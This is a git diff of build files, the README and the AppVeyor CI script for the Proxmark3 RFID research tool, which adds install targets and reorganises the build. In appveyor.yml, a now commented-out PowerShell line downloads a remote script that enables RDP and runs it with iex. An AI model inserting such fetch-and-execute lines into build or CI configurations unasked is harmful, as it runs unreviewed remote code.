+endif + +all clean install uninstall: %: client/% bootrom/% armsrc/% recovery/% mfkey/% nonce2key/% fpga_compress/% + +INSTALLTOOLS=pm3_eml2lower.sh pm3_eml2upper.sh pm3_mfdread.py pm3_mfd2eml.py pm3_eml2mfd.py findbits.py rfidtest.pl xorcheck.py +INSTALLSIMFW=sim011.bin sim011.sha512.txt +INSTALLSCRIPTS=pm3 pm3-flash pm3-flash-all pm3-flash-bootrom pm3-flash-fullimage +INSTALLSHARES=tools/jtag_openocd traces +INSTALLDOCS=doc/*.md doc/md + +install: all common/install + +common/install: + $(info [@] Installing common resources to $(MYDESTDIR)$(PREFIX)...) +ifneq (,$(INSTALLSCRIPTS)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH) + $(Q)$(CP) $(INSTALLSCRIPTS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH) +endif +ifneq (,$(INSTALLSHARES)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) + $(Q)$(CP) $(INSTALLSHARES) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) +endif +ifneq (,$(INSTALLDOCS)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH) + $(Q)$(CP) $(INSTALLDOCS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH) +endif +ifneq (,$(INSTALLTOOLS)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH) + $(Q)$(CP) $(foreach tool,$(INSTALLTOOLS),tools/$(tool)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH) +endif +ifneq (,$(INSTALLSIMFW)) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) + $(Q)$(CP) $(foreach fw,$(INSTALLSIMFW),tools/simmodule/$(fw)) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) +endif +ifeq ($(platform),Linux) + $(Q)$(MKDIR) $(DESTDIR)$(UDEV_PREFIX) + $(Q)$(CP) driver/77-pm3-usb-device-blacklist.rules $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules +endif + +uninstall: common/uninstall + +common/uninstall: + $(info [@] Uninstalling common resources from $(MYDESTDIR)$(PREFIX)...) +ifneq (,$(INSTALLSCRIPTS)) + $(Q)$(RM) $(foreach script,$(INSTALLSCRIPTS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLBINRELPATH)$(PATHSEP)$(notdir $(script))) +endif +ifneq (,$(INSTALLSHARES)) + $(Q)$(RMDIR) $(foreach share,$(INSTALLSHARES),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH)$(PATHSEP)$(notdir $(share))) +endif +ifneq (,$(INSTALLDOCS)) + $(Q)$(RMDIR) $(foreach doc,$(INSTALLDOCS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH)$(PATHSEP)$(notdir $(doc))) + $(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLDOCSRELPATH) +endif +ifneq (,$(INSTALLTOOLS)) + $(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool))) +endif + $(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH) +ifneq (,$(INSTALLSIMFW)) + $(Q)$(RM) $(foreach fw,$(INSTALLSIMFW),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(notdir $(fw))) +endif + $(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH) +ifeq ($(platform),Linux) + $(Q)$(RM) $(DESTDIR)$(UDEV_PREFIX)/77-pm3-usb-device-blacklist.rules +endif + $(Q)$(RMDIR_SOFT) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLSHARERELPATH) mfkey/%: FORCE $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@) + $(Q)$(MAKE) --no-print-directory -C tools/mfkey $(patsubst mfkey/%,%,$@) DESTDIR=$(MYDESTDIR) nonce2key/%: FORCE $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@) + $(Q)$(MAKE) --no-print-directory -C tools/nonce2key $(patsubst nonce2key/%,%,$@) DESTDIR=$(MYDESTDIR) +fpga_compress/%: FORCE + $(info [*] MAKE $@) + $(Q)$(MAKE) --no-print-directory -C tools/fpga_compress $(patsubst fpga_compress/%,%,$@) DESTDIR=$(MYDESTDIR) bootrom/%: FORCE cleanifplatformchanged $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@) -armsrc/%: FORCE cleanifplatformchanged + $(Q)$(MAKE) --no-print-directory -C bootrom $(patsubst bootrom/%,%,$@) DESTDIR=$(MYDESTDIR) +armsrc/%: FORCE cleanifplatformchanged fpga_compress/% $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@) + $(Q)$(MAKE) --no-print-directory -C armsrc $(patsubst armsrc/%,%,$@) DESTDIR=$(MYDESTDIR) client/%: FORCE $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@) -recovery/%: FORCE cleanifplatformchanged bootrom/% armsrc/% + $(Q)$(MAKE) --no-print-directory -C client $(patsubst client/%,%,$@) DESTDIR=$(MYDESTDIR) +recovery/all: bootrom/all armsrc/all +recovery/install: bootrom/all armsrc/all +recovery/%: FORCE cleanifplatformchanged $(info [*] MAKE $@) - $(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@) + $(Q)$(MAKE) --no-print-directory -C recovery $(patsubst recovery/%,%,$@) DESTDIR=$(MYDESTDIR) FORCE: # Dummy target to force remake in the subdirectories, even if files exist (this Makefile doesn't know about the prerequisites) -.PHONY: all clean help _test bootrom flash-bootrom os flash-os flash-all recovery client mfkey nounce2key style checks FORCE udev accessrights cleanifplatformchanged +.PHONY: all clean install uninstall help _test bootrom fullimage recovery client mfkey nonce2key style checks FORCE udev accessrights cleanifplatformchanged help: @echo "Multi-OS Makefile" @echo @echo "Possible targets:" - @echo "+ all - Make all targets: bootrom, armsrc and OS-specific host tools" - @echo "+ clean - Clean in all targets" + @echo "+ all - Make all targets: bootrom, fullimage and OS-specific host tools" + @echo "+ clean - Clean in all targets" + @echo "+ .../clean - Clean in specified target and its deps, e.g. bootrom/clean" + @echo "+ (un)install - Install/uninstall Proxmark files in the system, default to /usr/local/share," + @echo " else provide a PREFIX. See Maintainers.md for more options" @echo - @echo "+ bootrom - Make bootrom" - @echo "+ os - Make armsrc (includes fpga)" - @echo "+ flash-bootrom - Make bootrom and flash it" - @echo "+ flash-os - Make armsrc and flash os image (includes fpga)" - @echo "+ flash-all - Make bootrom and armsrc and flash bootrom and os image" - @echo "+ recovery - Make bootrom and armsrc images for JTAG flashing" + @echo "+ bootrom - Make bootrom" + @echo "+ fullimage - Make armsrc fullimage (includes fpga)" + @echo "+ recovery - Make bootrom and fullimage files for JTAG flashing" @echo - @echo "+ client - Make only the OS-specific host client" - @echo "+ mfkey - Make tools/mfkey" - @echo "+ nounce2key - Make tools/nounce2key" + @echo "+ client - Make only the OS-specific host client" + @echo "+ mfkey - Make tools/mfkey" + @echo "+ nonce2key - Make tools/nonce2key" + @echo "+ fpga_compress - Make tools/fpga_compress" @echo - @echo "+ style - Apply some automated source code formatting rules" - @echo "+ checks - Detect various encoding issues in source code" + @echo "+ style - Apply some automated source code formatting rules" + @echo "+ checks - Detect various encoding issues in source code" @echo @echo "Possible platforms: try \"make PLATFORM=\" for more info, default is PM3RDV4" @echo "To activate verbose mode, use make V=1" @@ -85,7 +134,17 @@ client: client/all bootrom: bootrom/all -os: armsrc/all +# aliases fullimage = armsrc + +fullimage: armsrc/all + +fullimage/all: armsrc/all + +fullimage/clean: armsrc/clean + +fullimage/install: armsrc/install + +fullimage/uninstall: armsrc/uninstall recovery: recovery/all @@ -93,17 +152,10 @@ mfkey: mfkey/all nonce2key: nonce2key/all -flash-bootrom: bootrom/obj/bootrom.elf $(FLASH_TOOL) - $(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$<) - -flash-os: armsrc/obj/fullimage.elf $(FLASH_TOOL) - $(FLASH_TOOL) $(FLASH_PORT) $(subst /,$(PATHSEP),$<) - -flash-all: bootrom/obj/bootrom.elf armsrc/obj/fullimage.elf $(FLASH_TOOL) - $(FLASH_TOOL) $(FLASH_PORT) -b $(subst /,$(PATHSEP),$(filter-out $(FLASH_TOOL),$^)) +fpga_compress: fpga_compress/all newtarbin: - $(DELETE) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz + $(RM) proxmark3-$(platform)-bin.tar proxmark3-$(platform)-bin.tar.gz @touch proxmark3-$(platform)-bin.tar tarbin: newtarbin client/tarbin armsrc/tarbin bootrom/tarbin @@ -145,21 +197,36 @@ style: # Make sure astyle is installed @which astyle >/dev/null || ( echo "Please install 'astyle' package first" ; exit 1 ) # Remove spaces & tabs at EOL, add LF at EOF if needed on *.c, *.h, *.cpp. *.lua, *.py, *.pl, Makefile - find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \ + find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \) \ -exec perl -pi -e 's/[ \t]+$$//' {} \; \ -exec sh -c "tail -c1 {} | xxd -p | tail -1 | grep -q -v 0a$$" \; \ -exec sh -c "echo >> {}" \; # Apply astyle on *.c, *.h, *.cpp - find . \( -name "*.[ch]" -or -name "*.cpp" \) -exec astyle --formatted --mode=c --suffix=none \ + find . \( -not -path "./cov-int/*" -and \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) \) \) -exec astyle --formatted --mode=c --suffix=none \ --indent=spaces=4 --indent-switches \ --keep-one-line-blocks --max-instatement-indent=60 \ --style=google --pad-oper --unpad-paren --pad-header \ --align-pointer=name {} \; -# Detecting weird codepages. +# Detecting weird codepages and tabs. checks: - find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" \) \ + # Make sure recode is installed + @which recode >/dev/null || ( echo "Please install 'recode' package first" ; exit 1 ) + @echo "Files with suspicious chars:" + @find . \( -name "*.[ch]" -or -name "*.cpp" -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "Makefile" -or -name "*.v" \) \ -exec sh -c "cat {} |recode utf8.. >/dev/null || echo {}" \; + @echo "Files with tabs:" +# to remove tabs within lines, one can try with: vi $file -c ':set tabstop=4' -c ':set et|retab' -c ':wq' +ifeq ($(platform),Darwin) + @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ + -exec egrep -l '\t' {} \; +else + @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ + -exec grep -lP '\t' {} \; +endif +# @echo "Files with printf \\\\t:" +# @find . \( -name "*.[ch]" -or \( -name "*.cpp" -and -not -name "*.moc.cpp" \) -or -name "*.lua" -or -name "*.py" -or -name "*.pl" -or -name "*.md" -or -name "*.txt" -or -name "*.awk" -or -name "*.v" \) \ +# -exec grep -lP '\\t' {} \; # Dummy target to test for GNU make availability _test: diff --git a/Makefile.defs b/Makefile.defs new file mode 100644 index 000000000..4068d7516 --- /dev/null +++ b/Makefile.defs @@ -0,0 +1,46 @@ +# Hide full compilation line: +ifneq ($(V),1) + Q?=@ +endif +# To see full command lines, use make V=1 + +# been here +DEFSBEENHERE = true + +CP = cp -a +GZIP = gzip +MKDIR = mkdir -p +RM = rm -f +RMDIR = rm -rf +# rmdir only if dir is empty, tolerate failure +RMDIR_SOFT = -rmdir +MV = mv +TOUCH = touch +FALSE = false +TAR = tar +TARFLAGS ?= -v --ignore-failed-read -r +TARFLAGS += -C .. -f +CROSS ?= arm-none-eabi- +CC = gcc +CXX = g++ +LD = g++ + +PATHSEP=/ +PREFIX ?= /usr/local +UDEV_PREFIX ?= /etc/udev/rules.d +INSTALLBINRELPATH ?= bin +INSTALLSHARERELPATH ?= share/proxmark3 +INSTALLFWRELPATH ?= share/proxmark3/firmware +INSTALLTOOLSRELPATH ?= share/proxmark3/tools +INSTALLDOCSRELPATH ?= share/doc/proxmark3 + +platform = $(shell uname) +DETECTED_OS=$(platform) + +ifeq ($(platform),Darwin) + AR= /usr/bin/ar rcs + RANLIB= /usr/bin/ranlib +else + AR= ar rcs + RANLIB= ranlib +endif diff --git a/Makefile.host b/Makefile.host new file mode 100644 index 000000000..6d405ee14 --- /dev/null +++ b/Makefile.host @@ -0,0 +1,79 @@ +# This Makefile might have been called from various subdirs, trying to find our Makefile.defs +ifeq ($(DEFSBEENHERE),) + -include Makefile.defs +endif +ifeq ($(DEFSBEENHERE),) + -include ../Makefile.defs +endif +ifeq ($(DEFSBEENHERE),) + -include ../../Makefile.defs +endif +ifeq ($(DEFSBEENHERE),) + -include ../../../Makefile.defs +endif +ifeq ($(DEFSBEENHERE),) + $(error Can't find Makefile.defs) +endif + +CFLAGS ?= -Wall -Werror -O3 +CFLAGS += $(MYDEFS) $(MYCFLAGS) $(MYINCLUDES) + +vpath %.c $(MYSRCPATHS) + +# Flags to generate temporary dependency files +DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td +# make temporary to final dependency files after successful compilation +POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d && $(TOUCH) $@ + +BINDIR := . +OBJDIR := obj + +MYOBJS = $(MYSRCS:%.c=$(OBJDIR)/%.o) +CLEAN = $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin)) + +all: $(foreach bin,$(MYLIBS) $(BINS) $(LIB_A),$(BINDIR)/$(bin)) + +clean: + $(Q)$(RM) $(CLEAN) + $(Q)$(RMDIR) $(OBJDIR) + +install: all +ifneq (,$(INSTALLTOOLS)) + $(info [@] Installing $(BINS) to $(DESTDIR)$(PREFIX)...) + $(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH) + $(Q)$(CP) $(INSTALLTOOLS) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH) +endif + @true + +uninstall: +ifneq (,$(INSTALLTOOLS)) + $(info [@] Uninstalling $(BINS) from $(DESTDIR)$(PREFIX)...) + $(Q)$(RM) $(foreach tool,$(INSTALLTOOLS),$(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLTOOLSRELPATH)$(PATHSEP)$(notdir $(tool))) +endif + @true + +.PHONY: all clean install uninstall + +$(BINDIR)/$(LIB_A): $(MYOBJS) + $(info [=] AR $(notdir $@)) + $(Q)$(AR) $@ $(MYOBJS) + $(Q)$(RANLIB) $@ + +$(BINDIR)/% : $(OBJDIR)/%.o $(MYOBJS) $(MYLIBS) + $(info [=] LD $(notdir $@)) + $(Q)$(LD) $(LDFLAGS) $(MYOBJS) $< -o $@ $(MYLIBS) + +$(OBJDIR)/%.o : %.c | $(OBJDIR) + $(info [-] CC $<) + $(Q)$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $< + $(Q)$(POSTCOMPILE) + +$(OBJDIR): + $(Q)$(MKDIR) $(OBJDIR) + +DEPENDENCY_FILES = $(MYOBJS:%.o=%.d) $(BINS:%=$(OBJDIR)/%.d) + +$(DEPENDENCY_FILES): ; +.PRECIOUS: $(DEPENDENCY_FILES) + +-include $(DEPENDENCY_FILES) diff --git a/Makefile.platform.sample b/Makefile.platform.sample index b0d6cf5fe..9d0e2d965 100644 --- a/Makefile.platform.sample +++ b/Makefile.platform.sample @@ -1,4 +1,7 @@ # If you want to use it, copy this file as Makefile.platform and adjust it to your needs +# Run 'make PLATFORM=' to get an exhaustive list of possible parameters for this file. + PLATFORM=PM3RDV4 +# If you want more than one PLATFORM_EXTRAS option, separate them by spaces: #PLATFORM_EXTRAS=BTADDON #STANDALONE=LF_SAMYRUN diff --git a/README.md b/README.md index 489a04044..d183309b4 100644 --- a/README.md +++ b/README.md @@ -1,26 +1,37 @@ -# Proxmark3 RDV4.0 Dedicated Github +# RRG / Iceman repo - Proxmark3 -This repo is based on iceman fork for Proxmark3. It is dedicated to bringing the most out of the new features for Proxmark3 RDV4.0 new hardware and design. -[![Build status](https://ci.appveyor.com/api/projects/status/ct5blik2wa96bv0x/branch/master?svg=true)](https://ci.appveyor.com/project/iceman1001/proxmark3-ji4wj/branch/master) -[![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) +| Releases | Linux & OSX CI | Windows CI | Coverity | +| ------------------- |:-------------------:| -------------------:| -------------------:| +| [![Latest release](https://img.shields.io/github/release/RfidResearchGroup/proxmark3.svg)](https://github.com/RfidResearchGroup/proxmark3/releases/latest) | [![Build status](https://travis-ci.org/RfidResearchGroup/proxmark3.svg?branch=master)](https://travis-ci.org/RfidResearchGroup/proxmark3) | [![Build status](https://ci.appveyor.com/api/projects/status/b4gwrhq3nc876cuu/branch/master?svg=true)](https://ci.appveyor.com/project/RfidResearchGroup/proxmark3/branch/master) | [![Coverity Status](https://scan.coverity.com/projects/19334/badge.svg)](https://scan.coverity.com/projects/proxmark3-rrg-iceman-repo)| + ---- # PROXMARK INSTALLATION AND OVERVIEW | FAQ's & Updates | Installation | Use of the Proxmark | | ------------------- |:-------------------:| -------------------:| -|[What has changed?](#what-has-changed) | [Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md) | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)| -|[Development](#development) | [Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md) | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) | -|[Why didn't you base it on official PM3 Master?](#why-didnt-you-base-it-on-official-pm3-master)| [Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md) | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)| -|[PM3 GUI](#pm3-gui)|[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)| -|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) || -|[Notes on UART](/doc/uart_notes.md)||| -|[Notes on Frame format](/doc/new_frame_format.md)||| +|[What has changed?](#what-has-changed) | **[Setup and build for Linux](/doc/md/Installation_Instructions/Linux-Installation-Instructions.md)** | [Compilation Instructions](/doc/md/Use_of_Proxmark/0_Compilation-Instructions.md)| +|[Development](#development) | **[Important notes on ModemManager for Linux users](/doc/md/Installation_Instructions/ModemManager-Must-Be-Discarded.md)** | [Validating proxmark client functionality](/doc/md/Use_of_Proxmark/1_Validation.md) | +|[Why didn't you base it on official Proxmark3 Master?](#why-didnt-you-base-it-on-official-proxmark3-master)| **[Homebrew (Mac OS X) & Upgrading HomeBrew Tap Formula](/doc/md/Installation_Instructions/Mac-OS-X-Homebrew-Installation-Instructions.md)** | [First Use and Verification](/doc/md/Use_of_Proxmark/2_Configuration-and-Verification.md)| +|[Proxmark3 GUI](#proxmark3-gui)|**[Setup and build for Windows](/doc/md/Installation_Instructions/Windows-Installation-Instructions.md)**|[Commands & Features](/doc/md/Use_of_Proxmark/3_Commands-and-Features.md)| +|[Issues](#issues)|[Blue shark manual](/doc/bt_manual_v10.md) |[Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md)| +|[Notes on UART](/doc/uart_notes.md)|[Maintainers](/doc/md/Development/Maintainers.md)|[Command Cheat sheet](/doc/cheatsheet.md)| +|[Notes on frame format](/doc/new_frame_format.md)||[More cheat sheets](https://github.com/RfidResearchGroup/proxmark3/wiki/More-cheat-sheets)| +|[Notes on external flash](/doc/ext_flash_notes.md)||[EMV](/doc/emv_notes.md)| +|[Notes on Termux / Android](/doc/termux_notes.md)||[Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md)| +|[Notes on tracedata / wireshark](/doc/trace_notes.md)||[JTAG](/doc/jtag_notes.md)| +|[Notes on loclass](/doc/loclass_notes.md)||[Complete client command set](/doc/commands.md)| +|[Notes on paths](/doc/path_notes.md)||| |[Developing standalone mode](/armsrc/Standalone/readme.md)|[Wiki about standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) || |[Donations](#Donations)||| + +## Build for non-RDV4 Proxmark3 platforms + +In order to build this repo for other Proxmark3 platforms we urge you to read [Advanced compilation parameters](/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md) + + ## What has changed? On the hardware side: @@ -32,28 +43,50 @@ On the hardware side: On the software side: quite a lot, see the [Changelog file](CHANGELOG.md). ## Development -This fork now compiles just fine on + +> ⚠ **Note**: This is a bleeding edge repository. The maintainers actively is working out of this repository and will be periodically re-structuring the code to make it easier to comprehend, navigate, build, test, and contribute to, so **DO expect significant changes to code layout on a regular basis**. + +This repo compiles nicely on + - Proxspace v3.x - Windows/mingw environment with Qt5.6.1 & GCC 4.8 - - Ubuntu 1404, 1510, 1604, 1804, 1904 + - Ubuntu 1604, 1804, 1904 - Mac OS X / Homebrew - - ParrotOS - - WSL (Windows subsystem linux) on Windows 10 + - ParrotOS, Gentoo, Pentoo, Kali, Nethunter, Archlinux, Fedora + - WSL, WSL2 (Windows subsystem linux) on Windows 10 - Docker container -If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first. +The [public roadmap](https://github.com/RfidResearchGroup/proxmark3/wiki/Public-Roadmap) is an excellent start to read if you are interesting in contributing. -- Internal notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). -- Internal notes on UART -- Internal notes on Frame format -- Internal notes on standalone mode +> 👉 **Remember!** If you intend to contribute to the code, please read the [coding style notes](HACKING.md) first. +We usually merge your contributions fast since we do like the idea of getting a functionality in the Proxmark3 and weed out the bugs afterwards. +## Notes / helpful documents +- notes on [Coverity Scan Config & Run](/doc/md/Development/Coverity-Scan-Config-%26-Run.md). +- notes on [UART](/doc/uart_notes.md) +- notes on [Frame format](/doc/new_frame_format.md) +- notes on [external flash](/doc/ext_flash_notes.md) +- notes on [standalone mode](https://github.com/RfidResearchGroup/proxmark3/wiki/Standalone-mode) +- notes on [Termux / Android](/doc/termux_notes.md) +- notes on [tracedata / Wireshark](/doc/trace_notes.md) +- notes on [loclass](/doc/loclass_notes.md) +- notes on [EMV](/doc/emv_notes.md) +- notes on [Paths](/doc/path_notes.md) +- notes on [file formats used with Proxmark3](/doc/extensions_notes.md) +## Cheat sheet +Thanks to Alex Dibs, you can enjoy a [command cheat sheet](/doc/cheatsheet.md) + +## Maintainers ( package, distro ) + +To all distro, package maintainers, we tried to make your life easier. `make install` is now available and if you want to know more. +- [Maintainers](/doc/md/Development/Maintainers.md) ## Why didn't you base it on official Proxmark3 Master? The separation from official Proxmark3 repo gives us a lot of freedom to create a firmware/client that suits the RDV40 features. We don't want to mess up the official Proxmark3 repo with RDV40 specific code. ## Proxmark3 GUI + The official PM3-GUI from Gaucho will not work. The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/burma69/PM3UniversalGUI) Almost, change needed in order to show helptext when client isn't connected to a device. @@ -61,16 +94,18 @@ The new universal GUI will work. [Proxmark3 Universal GUI](https://github.com/bu Please see the [Proxmark Forum](http://www.proxmark.org/forum/index.php) and see if your issue is listed in the first instance Google is your friend :) Questions will be answered via the forum by Iceman and the team. -It's needed to have a good USB cable to connect Proxmark3 to USB. If you have stability problems (Proxmark3 resets, firmware hangs, especially firmware hangs just after start, etc.) - check your cable with a USB tester (or try to change it). It needs to have a resistance smaller or equal to 0.3 Ohm. +Read the [Troubleshooting](/doc/md/Installation_Instructions/Troubleshooting.md) guide to weed out most known problems. + ## The end -- [@herrmann1001](https://mobile.twitter.com/herrmann1001) July 2018 +- July 2018 [@herrmann1001](https://mobile.twitter.com/herrmann1001) - updated Feb 2019 [@5w0rdfish](https://mobile.twitter.com/5w0rdFish) +- updated 2019 [@doegox](https://mobile.twitter.com/doegox) # Donations + Nothing says thank you as much as a donation. So if you feel the love, do feel free to become a iceman patron. For some tiers it comes with rewards. https://www.patreon.com/iceman1001 -All support is welcome! diff --git a/appveyor.yml b/appveyor.yml index 3b937c197..230bb44bf 100644 --- a/appveyor.yml +++ b/appveyor.yml @@ -24,7 +24,7 @@ init: Add-AppveyorMessage -Message "[$env:APPVEYOR_REPO_COMMIT_SHORT]$env:appveyor_repo_name($env:APPVEYOR_REPO_BRANCH)" -Category Information -Details "repository: $env:appveyor_repo_name branch: $env:APPVEYOR_REPO_BRANCH release: $releasename" - iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) + # iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/appveyor/ci/master/scripts/enable-rdp.ps1')) clone_script: - ps: >- Write-Host "Removing ProxSpace..." -NoNewLine @@ -43,6 +43,12 @@ clone_script: Write-Host "[ OK ]" -ForegroundColor Green + if(!(Test-Path -Path C:\ProxSpace\pm3)){ + + New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3 + + } + Write-Host "Removing pm3 dir..." -NoNewLine Remove-Item -Recurse -Force -Path c:\ProxSpace\pm3\* @@ -73,14 +79,81 @@ clone_script: Write-Host "[ OK ]" -ForegroundColor Green - Write-Host "Update msys2 packages..." -NoNewLine + Write-Host "Update msys2 packages..." $env:Path = "C:\ProxSpace\msys2\usr\bin;C:\ProxSpace\msys2\mingw32\bin;C:\ProxSpace\gcc-arm-none-eabi\bin;$env:Path" + + Function ExecUpdate($Name, $Cmd, $ErrorLine) { - C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1 + Write-Host "Exec [$Name]... " -NoNewLine + #--- begin Job + + $Job = Start-Job -Name "$Name" -ScriptBlock { + $env:Path = "C:\ProxSpace\msys\bin;$env:Path" + Set-Location $using:PWD - C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null 1> msys1.txt 2>&1 + $sb=[scriptblock]::Create("$using:Cmd") + #execute scriptblock + $Cond=&$sb + return $Cond + } + + #--- end Job + + $JobTime=[System.Environment]::TickCount + while($true) { + Try { + $Res = Receive-Job -Job $Job -Keep 2>&1 6>&1 + } + Catch { + $Res = "" + Write-host "error in Receive-Job" + } + + if ($Res -is "String" -and $Res -like "*$ErrorLine*"){ + Write-host "Exit by stop phrase" -ForegroundColor Green + break + } + + if ($Res -is [Object]){ + [bool]$needexit = $false + ForEach($line in $Res){ + if ($line -like "*$ErrorLine*"){ + Write-host "Exit by stop phrase [obj]" -ForegroundColor Green + $needexit = $true + break + } + } + if ($needexit) { + break + } + } + + if(Wait-Job $Job -Timeout 5){ + Write-host "Exit by end job" -ForegroundColor Green + break + } + + if ([System.Environment]::TickCount-$JobTime -gt 1000000) { + Write-host "Exit by timeout" -ForegroundColor Yellow + break + } + } + + Remove-Job -Force $Job + } + + cd C:\ProxSpace\ + + C:\ProxSpace\msys2\ps\setup.cmd + + ExecUpdate "update1" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" + + ExecUpdate "update2" "C:\ProxSpace\msys2\msys2_shell.cmd -mingw32 -defterm -no-start /dev/null" "terminate?MSYS2" + + Write-Host "Update " -NoNewLine + Write-Host "[ OK ]" -ForegroundColor Green install: - ps: >- @@ -110,6 +183,7 @@ build_script: $env:MSYSTEM_CHOST="i686-w64-mingw32" + cd C:\ProxSpace\pm3 #make @@ -130,54 +204,38 @@ build_script: } - if(!(Test-Path C:\ProxSpace\pm3\client\hardnested\tables\*.bin.z)){ + if(!(Test-Path C:\ProxSpace\pm3\client\resources\hardnested_tables\*.bin.z)){ - throw "Files in hardnested\tables not exists." + throw "Files in client\resources\hardnested_tables is not exists." } - #copy + #install - Write-Host "Copy release files..." -NoNewLine -ForegroundColor Yellow + Write-Host "Installing..." -NoNewLine -ForegroundColor Yellow - New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release + New-Item -ItemType Directory -Force -Path C:\ProxSpace\pm3\Release\bin - Copy-Item C:\ProxSpace\pm3\client\*.exe C:\ProxSpace\Release + bash -c -i 'make install DESTDIR=Release PREFIX=' - New-Item -ItemType Directory -Force -Path C:\ProxSpace\Release\arm - - Copy-Item 